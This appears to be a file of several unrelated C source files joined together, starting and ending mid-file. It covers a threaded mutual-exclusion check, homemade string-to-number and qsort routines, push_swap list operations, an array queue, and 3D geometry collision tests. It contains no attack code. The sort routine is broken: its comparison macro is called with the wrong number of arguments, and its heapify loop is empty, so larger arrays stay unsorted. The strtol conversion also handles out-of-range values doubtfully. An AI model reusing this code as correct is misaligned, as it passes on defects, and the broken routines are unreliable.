n1 = 0;
return NULL;
}
void* thread2(void *arg) {
int tmp;
e2 = 1;
tmp = n1;
n2 = tmp + 1;
e2 = 0;
assume (e1 != 0);
assume (n1 == 0 || n1 > n2);
in_critical = 2;
assert(in_critical == 2);
n2 = 0;
return NULL;
}
void main() {
pthread_t t1, t2;
e1 = e2 = 0;
n1 = n2 = 0;
pthread_create(&t1, NULL, thread1, NULL);
pthread_create(&t2, NULL, thread2, NULL);
}
|
C | #include "prototypes.h"
long int my_strtol(const char *s, char **end, int base) {
unsigned long int ret = my_strtoumax(s, end, base);
if (ret > LONG_MAX) return ret - LONG_MAX - 1;
return ret;
}
long long int my_strtoll(const char *s, char **end, int base) {
unsigned long long int ret = my_strtoumax(s, end, base);
if (ret > LLONG_MAX) return ret - LLONG_MAX - 1;
return ret;
}
int my_atoi(const char *s) { return my_strtol(s, NULL, 10); }
long my_atol(const char *s) { return my_strtol(s, NULL, 10); }
long long my_atoll(const char *s) { return my_strtoll(s, NULL, 10); }
// double my_atof(const char *s) { return my_strtod(s, NULL); } */
unsigned long int my_strtoul(const char *s, char **end, int base) {
return my_strtoumax(s, end, base);
}
unsigned long long int my_strtoull(const char *s, char **end, int base) {
return my_strtoumax(s, end, base);
}
uintmax_t my_strtoumax(const char *s, char **end, int base) {
if ((base < 2 && base != 0) || base > 36) {
if (end) *end = (char *)s;
return 0;
}
while (my_isspace(*s)) s++;
uintmax_t ret = 0, neg = 1;
switch (*s) {
case '-': neg = -1;
case '+': s++;
}
switch (base) {
case 0: if (s[0] == '0' && (s[1]|32) == 'x') {
base = 16;
s += 2;
}
else if (s[0] == '0') {
base = 8;
s++;
}
else base = 10;
break;
case 16: if (s[0] == '0' && (s[1]|32) == 'x') s += 2;
}
while (*s == '0') s++;
#define __isvalid(x) ((base <= 10 && x >= '0' && x < '0' + base) || \
((x >= '0' && x <= '9') || \
(x >= 'A' && x < 'A' + base) || \
(x >= 'a' && x < 'a' + base)))
#define __value(c) ((c) >= 'A' ? ((c)|32) - 'a' + 10 : (c) - '0')
for (char c = *s; __isvalid(c); c = *++s)
ret = ret * base + __value(c);
#undef __value
#undef __isvalid
if (end) *end = (char *)s;
return neg * ret;
}
#define min(a,b) ((a) < (b) ? (a) : (b))
static void swap(void *a, void *b, size_t size) {
for (char tmp[256]; size; size -= min(size, sizeof(tmp))) {
memcpy(tmp, a, min(size, sizeof(tmp)));
memcpy(a, b, min(size, sizeof(tmp)));
memcpy(b, tmp, min(size, sizeof(tmp)));
}
}
static void my_actual_sort(void *base, size_t nmemb, size_t size,
int (*f1)(const void *, const void *),
int (*f2)(const void *, const void *, void *),
void *arg) {
char *ptr1 = base, *ptr2;
#define cmp(a,b) (f1 ? f1(a,b) : f2(a,b,arg))
// optimize a few cases
if (nmemb < 2) return;
if (nmemb == 2) {
ptr2 = (char *)base + size;
if (cmp(base, ptr2, arg) < 0) swap(ptr1, ptr2, size);
return;
}
if (nmemb < 10) {
for (; ptr1 < (char *)base + nmemb * size; ptr1 += size) {
for (ptr2 = ptr1; ptr2 > (char *)base && cmp(ptr2, ptr2 - size, arg) < 0; ptr2 -= size)
swap(ptr2, ptr2 - size, size);
}
return;
}
// heapify
for (size_t i = (nmemb - 2) / 2; i > 0; i--) {
}
#undef cmp
}
void my_qsort_r(void *b, size_t n, size_t s, int (*f)(const void *, const void *, void *), void *a) {
my_actual_sort(b, n, s, NULL, f, a);
}
void my_qsort(void *b, size_t n, size_t s, int (*f)(const void *, const void *)) {
my_actual_sort(b, n, s, f, NULL, NULL);
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* sa_sb_ss.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: okres <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/03/15 13:57:31 by okres #+# #+# */
/* Updated: 2017/03/15 14:00:46 by okres ### ########.fr */
/* */
/* ************************************************************************** */
#include "push_swap.h"
void sa(t_d_linklst *list_a, char **str)
{
long int tmp;
char *p;
if (list_a->size > 1)
{
tmp = list_a->head->value;
list_a->head->value = list_a->head->next->value;
list_a->head->next->value = tmp;
p = *str;
*str = ft_strjoin(p, "3");
ft_strdel(&p);
}
}
void sb(t_d_linklst *list_b, char **str)
{
long int tmp;
char *p;
if (list_b->size > 1)
{
tmp = list_b->head->value;
list_b->head->value = list_b->head->next->value;
list_b->head->next->value = tmp;
p = *str;
*str = ft_strjoin(p, "4");
ft_strdel(&p);
}
}
void ss(t_d_linklst *list_a, t_d_linklst *list_b, char **str)
{
char *p;
p = "";
sa(list_a, &p);
sb(list_b, &p);
p = *str;
*str = ft_strjoin(p, "ss");
ft_strdel(&p);
}
|
C | /*
Copyright (c) 2020 MrDave1999 (David Román)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#include <stdlib.h>
#include "lst/MemoryManagement.h"
#include "lst/ArrayQueue.h"
#include "lst/ArrayStack.h"
void* createArray(int max, size_t size, TypeStructs ts)
{
void* ptr;
void** pArray = malloc(max * sizeof(void*));
if(pArray == NULL)
return NULL;
ptr = new_object(ts, size);
if(ptr == NULL)
{
free(pArray);
return NULL;
}
((ArrayQueue*)ptr)->max = max;
((ArrayQueue*)ptr)->pArray = pArray;
return ptr;
}
boolean addLastAQ(ArrayQueue* qe, void* object)
{
int newPos;
if(qe == NULL || object == NULL)
{
free(object);
return true;
}
newPos = (qe->begin + qe->count) % qe->max;
qe->pArray[newPos] = object;
++qe->count;
qe->n = qe->begin + qe->count;
return false;
}
void* removeFirstAQ(ArrayQueue* qe)
{
void* oldObject = NULL;
if(qe->count == 0)
return NULL;
oldObject = qe->pArray[qe->begin];
qe->begin = (qe->begin + 1) % qe->max;
--qe->count;
qe->n = qe->begin + qe->count;
return oldObject;
}
void* getFrontAQ(ArrayQueue* qe)
{
return qe->pArray[qe->begin];
}
boolean fullAQ(ArrayQueue* qe)
{
return qe->max == qe->count;
}
boolean isEmptyAQ(ArrayQueue* qe)
{
return qe->count == 0;
}
int sizeAQ(ArrayQueue* qe)
{
return qe->count;
}
void clearARRAYQUEUE(ArrayQueue* qe)
{
for(int i = qe->begin; i < qe->n; ++i)
free(qe->pArray[i % qe->max]);
qe->count = 0;
qe->begin = 0;
qe->n = 0;
}
void* findAQ(ArrayQueue* qe, const void* key, Equals equals)
{
for(int i = qe->begin; i < qe->n; ++i)
{
if (equals(qe->pArray[i % qe->max], key))
return qe->pArray[i % qe->max];
}
return NULL;
}
|
C | //
// Created by hujianzhe
//
#include "../../../inc/crt/math.h"
#include "../../../inc/crt/math_vec3.h"
#include "../../../inc/crt/geometry/line_segment.h"
#include "../../../inc/crt/geometry/plane.h"
#include "../../../inc/crt/geometry/sphere.h"
#include "../../../inc/crt/geometry/aabb.h"
#include "../../../inc/crt/geometry/obb.h"
#include "../../../inc/crt/geometry/triangle.h"
#include "../../../inc/crt/geometry/collision_intersect.h"
#include <stddef.h>
int mathSegmentIntersectPlane(const float ls[2][3], const float plane_v[3], const float plane_normal[3], float p[3]) {
int cmp[2];
float d[2], lsdir[3], dot;
mathVec3Sub(lsdir, ls[1], ls[0]);
dot = mathVec3Dot(lsdir, plane_normal);
if (fcmpf(dot, 0.0f, CCT_EPSILON) == 0) {
return mathPlaneHasPoint(plane_v, plane_normal, ls[0]) ? 2 : 0;
}
mathPointProjectionPlane(ls[0], plane_v, plane_normal, NULL, &d[0]);
mathPointProjectionPlane(ls[1], plane_v, plane_normal, NULL, &d[1]);
cmp[0] = fcmpf(d[0], 0.0f, CCT_EPSILON);
cmp[1] = fcmpf(d[1], 0.0f, CCT_EPSILON);
if (cmp[0] * cmp[1] > 0) {
return 0;
}
if (0 == cmp[0]) {
if (p) {
mathVec3Copy(p, ls[0]);
}
return 1;
}
if (0 == cmp[1]) {
if (p) {
mathVec3Copy(p, ls[1]);
}
return 1;
}
if (p) {
mathVec3Normalized(lsdir, lsdir);
dot = mathVec3Dot(lsdir, plane_normal);
mathVec3AddScalar(mathVec3Copy(p, ls[0]), lsdir, d[0] / dot);
}
return 1;
}
static int mathSegmentIntersectPolygen(const float ls[2][3], const GeometryPolygen_t* polygen, float p[3]) {
int res;
float point[3];
if (!p) {
p = point;
}
res = mathSegmentIntersectPlane(ls, polygen->v[polygen->v_indices[0]], polygen->normal, p);
if (0 == res) {
return 0;
}
if (1 == res) {
return mathPolygenHasPoint(polygen, p);
}
if (mathPolygenHasPoint(polygen, ls[0]) || mathPolygenHasPoint(polygen, ls[1])) {
return 2;
}
else {
int i;
for (i = 0; i < polygen->v_indices_cnt; ) {
float edge[2][3];
mathVec3Copy(edge[0], polygen->v[polygen->v_indices[i++]]);
mathVec3Copy(edge[1], polygen->v[polygen->v_indices[i >= polygen->v_indices_cnt ? 0 : i]]);
if (mathSegmentIntersectSegment(ls, (const float(*)[3])edge, NULL, NULL)) {
return 2;
}
}
return 0;
}
}
static int mathPolygenIntersectPolygen(const GeometryPolygen_t* polygen1, const GeometryPolygen_t* polygen2) {
int i;
if (!mathPlaneIntersectPlane(polygen1->v[polygen1->v_indices[0]], polygen1->normal, polygen2->v[polygen2->v_indices[0]], polygen2->normal)) {
return 0;
}
for (i = 0; i < polygen1->v_indices_cnt; ) {
float edge[2][3];
mathVec3Copy(edge[0], polygen1->v[polygen1->v_indices[i++]]);
mathVec3Copy(edge[1], polygen1->v[polygen1->v_indices[i >= polygen1->v_indices_cnt ? 0 : i]]);
if (mathSegmentIntersectPolygen((const float(*)[3])edge, polygen2, NULL)) {
return 1;
}
}
return 0;
}
static int mathPolygenIntersectPlane(const GeometryPolygen_t* polygen, const float plane_v[3], const float plane_n[3], float p[3]) {
int i, has_gt0, has_le0, idx_0;
if (!mathPlaneIntersectPlane(polygen->v[polygen->v_indices[0]], polygen->normal, plane_v, plane_n)) {
return 0;
}
idx_0 = -1;
has_gt0 = has_le0 = 0;
for (i = 0; i < polygen->v_indices_cnt; ++i) {
int cmp;
float d;
mathPointProjectionPlane(polygen->v[polygen->v_indices[i]], plane_v, plane_n, NULL, &d);
cmp = fcmpf(d, 0.0f, CCT_EPSILON);
if (cmp > 0) {
if (has_le0) {
return 2;
}
has_gt0 = 1;
}
else if (cmp < 0) {
if (has_gt0) {
return 2;
}
has_le0 = 1;
}
else if (idx_0 >= 0) {
return 2;
}
else {
idx_0 = i;
}
}
if (idx_0 < 0) {
return 0;
}
if (p) {
mathVec3Copy(p, polygen->v[polygen->v_indices[idx_0]]);
}
return 1;
}
/*
static int mathSphereIntersectLine(const float o[3], float radius, const float ls_vertice[3], const float lsdir[3], float distance[2]) {
int cmp;
float vo[3], lp[3], lpo[3], lpolensq, radiussq, dot;
mathVec3Sub(vo, o, ls_vertice);
dot = mathVec3Dot(vo, lsdir);
mathVec3AddScalar(mathVec3Copy(lp, ls_vertice), lsdir, dot);
mathVec3Sub(lpo, o, lp);
lpolensq = mathVec3LenSq(lpo);
radiussq = radius * radius;
cmp = fcmpf(lpolensq, radiussq, CCT_EPSILON);
if (cmp > 0) {
return 0;
}
else if (0 == cmp) {
distance[0] = distance[1] = dot;
return 1;
}
else {
float d = sqrtf(radiussq - lpolensq);
distance[0] = dot + d;
distance[1] = dot - d;
return 2;
}
}
*/
int mathSphereIntersectSegment(const float o[3], float radius, const float ls[2][3], float p[3]) {
int res;
float closest_p[3], closest_v[3];
mathSegmentClosestPointTo(ls, o, closest_p);
mathVec3Sub(closest_v, closest_p, o);
res = fcmpf(mathVec3LenSq(closest_v), radius * radius, CCT_EPSILON);
if (res == 0) {
if (p) {
mathVec3Copy(p, closest_p);
}
return 1;
}
return res < 0 ? 2 : 0;
}
int mathSphereIntersectPlane(const float o[3], float radius, const float plane_v[3], const float plane_normal[3], float new_o[3], float* new_r) {
int cmp;
float pp[3], ppd, ppo[3], ppolensq;
mathPointProjectionPlane(o, plane_v, plane_normal, pp, &ppd);
mathVec3Sub(ppo, o, pp);
ppolensq = mathVec3LenSq(ppo);
cmp = fcmpf(ppolensq, radius * radius, CCT_EPSILON);
if (cmp > 0) {
return 0;
}
if (new_o) {
mathVec3Copy(new_o, pp);
}
if (0 == cmp) {
if (new_r) {
*new_r = 0.0f;
}
return 1;
}
else {
if (new_r) {
*new_r = sqrtf(radius * radius - ppolensq);
}
return 2;
}
}
static int mathSphereIntersectPolygen(const float o[3], float radius, const GeometryPolygen_t* polygen, float p[3]) {
int res, i;
float point[3];
if (!p) {
p = point;
}
res = mathSphereIntersectPlane(o, radius, polygen->v[polygen->v_indices[0]], polygen->normal, p, NULL);
if (0 == res) {
return 0;
}
if (mathPolygenHasPoint(polygen, p)) {
return res;
}
for (i = 0; i < polygen->v_indices_cnt; ) {
float edge[2][3];
mathVec3Copy(edge[0], polygen->v[polygen->v_indices[i++]]);
mathVec3Copy(edge[1], polygen->v[polygen->v_indices[i >= polygen->v_indices_cnt ? 0 : i]]);
res = mathSphereIntersectSegment(o, radius, (const float(*)[3])edge, p);
if (res != 0) {
return res;
}
}
return 0;
}
int mathSphereIntersectOBB(const float o[3], float radius, const GeometryOBB_t* obb) {
int i;
float v[3];
mathVec3Sub(v, o, obb->o);
for (i = 0; i < 3; ++i) {
float dot = mathVec3Dot(v, obb->axis[i]);
if (dot < 0.0f) {
dot = -dot;
}
if (dot > obb->half[i] + radius) {
return 0;
}
}
return 1;
}
static int mathOBBContainSphere(const GeometryOBB_t* obb, const float o[3], float radius) {
int i;
float v[3];
mathVec3Sub(v, o, obb->o);
for (i = 0; i < 3; ++i) {
float dot = mathVec3Dot(v, obb->axis[i]);
if (dot < 0.0f) {
dot = -dot;
}
if (dot > obb->half[i] - radius) {
return 0;
}
}
return 1;
}
static int mathBoxIntersectPlane(const float vertices[8][3], const float plane_v[3], const float plane_n[3], float p[3]) {
int i, has_gt0 = 0, has_le0 = 0, idx_0 = -1;
for (i = 0; i < 8; ++i) {
int cmp;
float d;
mathPointProjectionPlane(vertices[i], plane_v, plane_n, NULL, &d);
cmp = fcmpf(d, 0.0f, CCT_EPSILON);
if (cmp > 0) {
if (has_le0) {
return 2;
}
has_gt0 = 1;
}
else if (cmp < 0) {
if (has_gt0) {
return 2;
}
has_le0 = 1;
}
else if (idx_0 >= 0) {
return 2;
}
else {
idx_0 = i;
}
}
if (idx_0 < 0) {
return 0;
}
if (p) {
mathVec3Copy(p, vertices[idx_0]);
}
return 1;
}
static int mathOBBIntersectPlane(const GeometryOBB_t* obb, const float plane_v[3], const float plane_n[3], float p[3]) {
float vertices[8][3];
mathOBBVertices(obb, vertices);
return mathBoxIntersectPlane((const float(*)[3])vertices, plane_v, plane_n, p);
}
static int mathAABBIntersectPlane(const float o[3], const float half[3], const float plane_v[3], const float plane_n[3], float p[3]) {
float vertices[8][3];
mathAABBVertices(o, half, vertices);
return mathBoxIntersectPlane((const float(*)[3])vertices, plane_v, plane_n, p);
}
static int mathAABBIntersectSphere(const float aabb_o[3], const float aabb_half[3], const float sp_o[3], float sp_radius) {
float closest_v[3];
mathAABBClosestPointTo(aabb_o, aabb_half, sp_o, closest_v);
mathVec3Sub(closest_v, closest_v, sp_o);
return mathVec3LenSq(closest_v) <= sp_radius * sp_radius;
}
static int mathAABBIntersectSegment(const float o[3], const float half[3], const float ls[2][3]) {
int i;
GeometryPolygen_t polygen;
if (mathAABBHasPoint(o, half, ls[0]) || mathAABBHasPoint(o, half, ls[1])) {
return 1;
}
for (i = 0; i < 6; ++i) {
GeometryRect_t rect;
float p[4][3];
mathAABBPlaneRect(o, half, i, &rect);
mathRectToPolygen(&rect, &polygen, p);
if (mathSegmentIntersectPolygen(ls, &polygen, NULL)) {
return 1;
}
}
return 0;
}
int mathOBBIntersectSegment(const GeometryOBB_t* obb, const float ls[2][3]) {
int i;
if (mathOBBHasPoint(obb, ls[0]) || mathOBBHasPoint(obb, ls[1])) {
return 1;
}
for (i = 0; i < 6; ++i) {
GeometryPolygen_t polygen;
GeometryRect_t rect;
float p[4][3];
mathOBBPlaneRect(obb, i, &rect);
mathRectToPolygen(&rect, &polygen, p);
if (mathSegmentIntersectPolygen(ls, &polygen, NULL)) {
return 1;
}
}
return 0;
}
static int mathAABBIntersectPolygen(const float o[3], const float half[3], const GeometryPolygen_t* polygen, float p[3]) {
int res, i;
float point[3];
if (!p) {
p = point;
}
res = mathAABBIntersectPlane(o, half, polygen->v[polygen->v_indices[0]], polygen->normal, p);
if (0 == res) {
return 0;
}
if (1 == res) {
return mathPolygenHasPoint(polygen, p);
}
mathPointProjectionPlane(o, polygen->v[polygen->v_indices[0]], polygen->normal, p, NULL);
if (mathPolygenHasPoint(polygen, p)) {
return 2;
}
for (i = 0; i < polygen->v_indices_cnt; ) {
float edge[2][3];
mathVec3Copy(edge[0], polygen->v[polygen->v_indices[i++]]);
mathVec3Copy(edge[1], polygen->v[polygen->v_indices[i >= polygen->v_indices_cnt ? 0 : i]]);
if (mathAABBIntersectSegment(o, half, (const float(*)[3])edge)) {
return 2;
}
}
return 0;
}
static int mathOBBIntersectPolygen(const GeometryOBB_t* obb, const GeometryPolygen_t* polygen, float p[3]) {
int res, i;
float point[3];
if (!p) {
p = point;
}
res = mathOBBIntersectPlane(obb, polygen->v[polygen->v_indices[0]], polygen->normal, p);
if (0 == res) {
return 0;
}
if (1 == res) {
return mathPolygenHasPoint(polygen, p);
}
mathPointProjectionPlane(obb->o, polygen->v[polygen->v_indices[0]], polygen->normal, p, NULL);
if (mathPolygenHasPoint(polygen, p)) {
return 2;
}
for (i = 0; i < polygen->v_indices_cnt; ) {
float edge[2][3];
mathVec3Copy(edge[0], polygen->v[polygen->v_indices[i++]]);
mathVec3Copy(edge[1], polygen->v[polygen->v_indices[i >= polygen->v_indices_cnt ? 0 : i]]);
if (mathOBBIntersectSegment(obb, (const float(*)[3])edge)) {
return 2;
}
}
return 0;
}
/*
static int mathLineIntersectCylinderInfinite(const float ls_v[3], const float lsdir[3], const float cp[3], const float axis[3], float radius, float distance[2]) {
float new_o[3], new_dir[3], radius_sq = radius * radius;
float new_axies[3][3];
float A, B, C;
int rcnt;
mathVec3Copy(new_axies[2], axis);
new_axies[1][0] = 0.0f;
new_axies[1][1] = -new_axies[2][2];
new_axies[1][2] = new_axies[2][1];
if (mathVec3IsZero(new_axies[1])) {
new_axies[1][0] = -new_axies[2][2];
new_axies[1][1] = 0.0f;
new_axies[1][2] = new_axies[2][0];
}
mathVec3Normalized(new_axies[1], new_axies[1]);
mathVec3Cross(new_axies[0], new_axies[1], new_axies[2]);
mathCoordinateSystemTransformPoint(ls_v, cp, new_axies, new_o);
mathCoordinateSystemTransformNormalVec3(lsdir, new_axies, new_dir);
A = new_dir[0] * new_dir[0] + new_dir[1] * new_dir[1];
B = 2.0f * (new_o[0] * new_dir[0] + new_o[1] * new_dir[1]);
C = new_o[0] * new_o[0] + new_o[1] * new_o[1] - radius_sq;
rcnt = mathQuadraticEquation(A, B, C, distance);
if (0 == rcnt) {
float v[3], dot;
mathVec3Sub(v, ls_v, cp);
dot = mathVec3Dot(v, axis);
return fcmpf(mathVec3LenSq(v) - dot * dot, radius_sq, CCT_EPSILON) > 0 ? 0 : -1;
}
return rcnt;
}
*/
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
#ifdef __cplusplus
extern "C" {
#endif
GeometryAABB_t* mathCollisionBodyBoundingBox(const GeometryBodyRef_t* b, const float delta_half_v[3], GeometryAABB_t* aabb) {
switch (b->type) {
case GEOMETRY_BODY_AABB:
{
*aabb = *(b->aabb);
break;
}
case GEOMETRY_BODY_SPHERE:
{
mathVec3Copy(aabb->o, b->sphere->o);
mathVec3Set(aabb->half, b->sphere->radius, b->sphere->radius, b->sphere->radius);
break;
}
case GEOMETRY_BODY_OBB:
{
mathOBBToAABB(b->obb, aabb->o, aabb->half);
break;
}
case GEOMETRY_BODY_POLYGEN:
{
const GeometryPolygen_t* polygen = b->polygen;
if (!mathMeshVerticesToAABB((const float(*)[3])polygen->v, polygen->v_indices, polygen->v_indices_cnt, aabb->o, aabb->half)) {
return NULL;
}
break;
}
case GEOMETRY_BODY_TRIANGLE_MESH:
{
const GeometryTriangleMesh_t* mesh = b->mesh;
if (!mathMeshVerticesToAABB((const float(*)[3])mesh->v, mesh->v_indices, mesh->v_indices_cnt, aabb->o, aabb->half)) {
return NULL;
}
break;
}
default:
{
return NULL;
}
}
if (delta_half_v) {
int i;
mathVec3Add(aabb->o, aabb->o, delta_half_v);
for (i = 0; i < 3; ++i) {
aabb->half[i] += (delta_half_v[i] > 0.0f ? delta_half_v[i] : -delta_half_v[i]);
}
}
return aabb;
}
int mathCollisionBodyIntersect(const GeometryBodyRef_t* one, const GeometryBodyRef_t* two) {
if (one->data == two->data) {
return 1;
}
if (GEOMETRY_BODY_POINT == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathVec3Equal(one->point, two->point);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathSegmentHasPoint(two->segment->v, one->point);
}
case GEOMETRY_BODY_PLANE:
{
return mathPlaneHasPoint(two->plane->v, two->plane->normal, one->point);
}
case GEOMETRY_BODY_AABB:
{
return mathAABBHasPoint(two->aabb->o, two->aabb->half, one->point);
}
case GEOMETRY_BODY_SPHERE:
{
return mathSphereHasPoint(two->sphere->o, two->sphere->radius, one->point);
}
case GEOMETRY_BODY_POLYGEN:
{
return mathPolygenHasPoint(two->polygen, one->point);
}
case GEOMETRY_BODY_OBB:
{
return mathOBBHasPoint(two->obb, one->point);
}
}
}
else if (GEOMETRY_BODY_SEGMENT == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathSegmentHasPoint(one->segment->v, two->point);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathSegmentIntersectSegment(one->segment->v, two->segment->v, NULL, NULL);
}
case GEOMETRY_BODY_PLANE:
{
return mathSegmentIntersectPlane(one->segment->v, two->plane->v, two->plane->normal, NULL);
}
case GEOMETRY_BODY_AABB:
{
return mathAABBIntersectSegment(two->aabb->o, two->aabb->half, one->segment->v);
}
case GEOMETRY_BODY_OBB:
{
return mathOBBIntersectSegment(two->obb, one->segment->v);
}
case GEOMETRY_BODY_SPHERE:
{
return mathSphereIntersectSegment(two->sphere->o, two->sphere->radius, one->segment->v, NULL);
}
case GEOMETRY_BODY_POLYGEN:
{
return mathSegmentIntersectPolygen(one->segment->v, two->polygen, NULL);
}
}
}
else if (GEOMETRY_BODY_AABB == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathAABBHasPoint(one->aabb->o, one->aabb->half, two->point);
}
case GEOMETRY_BODY_AABB:
{
return mathAABBIntersectAABB(one->aabb->o, one->aabb->half, two->aabb->o, two->aabb->half);
}
case GEOMETRY_BODY_SPHERE:
{
return mathAABBIntersectSphere(one->aabb->o, one->aabb->half, two->sphere->o, two->sphere->radius);
}
case GEOMETRY_BODY_PLANE:
{
return mathAABBIntersectPlane(one->aabb->o, one->aabb->half, two->plane->v, two->plane->normal, NULL);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathAABBIntersectSegment(one->aabb->o, one->aabb->half, two->segment->v);
}
case GEOMETRY_BODY_POLYGEN:
{
return mathAABBIntersectPolygen(one->aabb->o, one->aabb->half, two->polygen, NULL);
}
case GEOMETRY_BODY_OBB:
{
GeometryOBB_t one_obb;
mathOBBFromAABB(&one_obb, one->aabb->o, one->aabb->half);
return mathOBBIntersectOBB(&one_obb, two->obb);
}
}
}
else if (GEOMETRY_BODY_SPHERE == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathSphereHasPoint(one->sphere->o, one->sphere->radius, two->point);
}
case GEOMETRY_BODY_AABB:
{
return mathAABBIntersectSphere(two->aabb->o, two->aabb->half, one->sphere->o, one->sphere->radius);
}
case GEOMETRY_BODY_SPHERE:
{
return mathSphereIntersectSphere(one->sphere->o, one->sphere->radius, two->sphere->o, two->sphere->radius, NULL);
}
case GEOMETRY_BODY_PLANE:
{
return mathSphereIntersectPlane(one->sphere->o, one->sphere->radius, two->plane->v, two->plane->normal, NULL, NULL);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathSphereIntersectSegment(one->sphere->o, one->sphere->radius, two->segment->v, NULL);
}
case GEOMETRY_BODY_POLYGEN:
{
return mathSphereIntersectPolygen(one->sphere->o, one->sphere->radius, two->polygen, NULL);
}
case GEOMETRY_BODY_OBB:
{
return mathSphereIntersectOBB(one->sphere->o, one->sphere->radius, two->obb);
}
}
}
else if (GEOMETRY_BODY_PLANE == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathPlaneHasPoint(one->plane->v, one->plane->normal, two->point);
}
case GEOMETRY_BODY_AABB:
{
return mathAABBIntersectPlane(two->aabb->o, two->aabb->half, one->plane->v, one->plane->normal, NULL);
}
case GEOMETRY_BODY_OBB:
{
return mathOBBIntersectPlane(two->obb, one->plane->v, one->plane->normal, NULL);
}
case GEOMETRY_BODY_SPHERE:
{
return mathSphereIntersectPlane(two->sphere->o, two->sphere->radius, one->plane->v, one->plane->normal, NULL, NULL);
}
case GEOMETRY_BODY_PLANE:
{
return mathPlaneIntersectPlane(one->plane->v, one->plane->normal, two->plane->v, two->plane->normal);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathSegmentIntersectPlane(two->segment->v, one->plane->v, one->plane->normal, NULL);
}
case GEOMETRY_BODY_POLYGEN:
{
return mathPolygenIntersectPlane(two->polygen, one->plane->v, one->plane->normal, NULL);
}
}
}
else if (GEOMETRY_BODY_POLYGEN == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathPolygenHasPoint(one->polygen, two->point);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathSegmentIntersectPolygen(two->segment->v, one->polygen, NULL);
}
case GEOMETRY_BODY_PLANE:
{
return mathPolygenIntersectPlane(one->polygen, two->plane->v, two->plane->normal, NULL);
}
case GEOMETRY_BODY_SPHERE:
{
return mathSphereIntersectPolygen(two->sphere->o, two->sphere->radius, one->polygen, NULL);
}
case GEOMETRY_BODY_AABB:
{
return mathAABBIntersectPolygen(two->aabb->o, two->aabb->half, one->polygen, NULL);
}
case GEOMETRY_BODY_OBB:
{
return mathOBBIntersectPolygen(two->obb, one->polygen, NULL);
}
case GEOMETRY_BODY_POLYGEN:
{
return mathPolygenIntersectPolygen(one->polygen, two->polygen);
}
}
}
else if (GEOMETRY_BODY_OBB == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathOBBHasPoint(one->obb, two->point);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathOBBIntersectSegment(one->obb, two->segment->v);
}
case GEOMETRY_BODY_PLANE:
{
return mathOBBIntersectPlane(one->obb, two->plane->v, two->plane->normal, NULL);
}
case GEOMETRY_BODY_OBB:
{
return mathOBBIntersectOBB(one->obb, two->obb);
}
case GEOMETRY_BODY_AABB:
{
GeometryOBB_t two_obb;
mathOBBFromAABB(&two_obb, two->aabb->o, two->aabb->half);
return mathOBBIntersectOBB(one->obb, &two_obb);
}
case GEOMETRY_BODY_SPHERE:
{
return mathSphereIntersectOBB(two->sphere->o, two->sphere->radius, one->obb);
}
case GEOMETRY_BODY_POLYGEN:
{
return mathOBBIntersectPolygen(one->obb, two->polygen, NULL);
}
}
}
return 0;
}
int mathCollisionBodyContain(const GeometryBodyRef_t* one, const GeometryBodyRef_t* two) {
if (one->data == two->data) {
return 1;
}
if (GEOMETRY_BODY_AABB == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathAABBHasPoint(one->aabb->o, one->aabb->half, two->point);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathAABBHasPoint(one->aabb->o, one->aabb->half, two->segment->v[0]) &&
mathAABBHasPoint(one->aabb->o, one->aabb->half, two->segment->v[1]);
}
case GEOMETRY_BODY_AABB:
{
return mathAABBContainAABB(one->aabb->o, one->aabb->half, two->aabb->o, two->aabb->half);
}
case GEOMETRY_BODY_OBB:
{
GeometryOBB_t one_obb;
mathOBBFromAABB(&one_obb, one->aabb->o, one->aabb->half);
return mathOBBContainOBB(&one_obb, two->obb);
}
case GEOMETRY_BODY_SPHERE:
{
GeometryOBB_t one_obb;
mathOBBFromAABB(&one_obb, one->aabb->o, one->aabb->half);
return mathOBBContainSphere(&one_obb, two->sphere->o, two->sphere->radius);
}
}
}
else if (GEOMETRY_BODY_OBB == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathOBBHasPoint(one->obb, two->point);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathOBBHasPoint(one->obb, two->segment->v[0]) &&
mathOBBHasPoint(one->obb, two->segment->v[1]);
}
case GEOMETRY_BODY_AABB:
{
GeometryOBB_t two_obb;
mathOBBFromAABB(&two_obb, two->aabb->o, two->aabb->half);
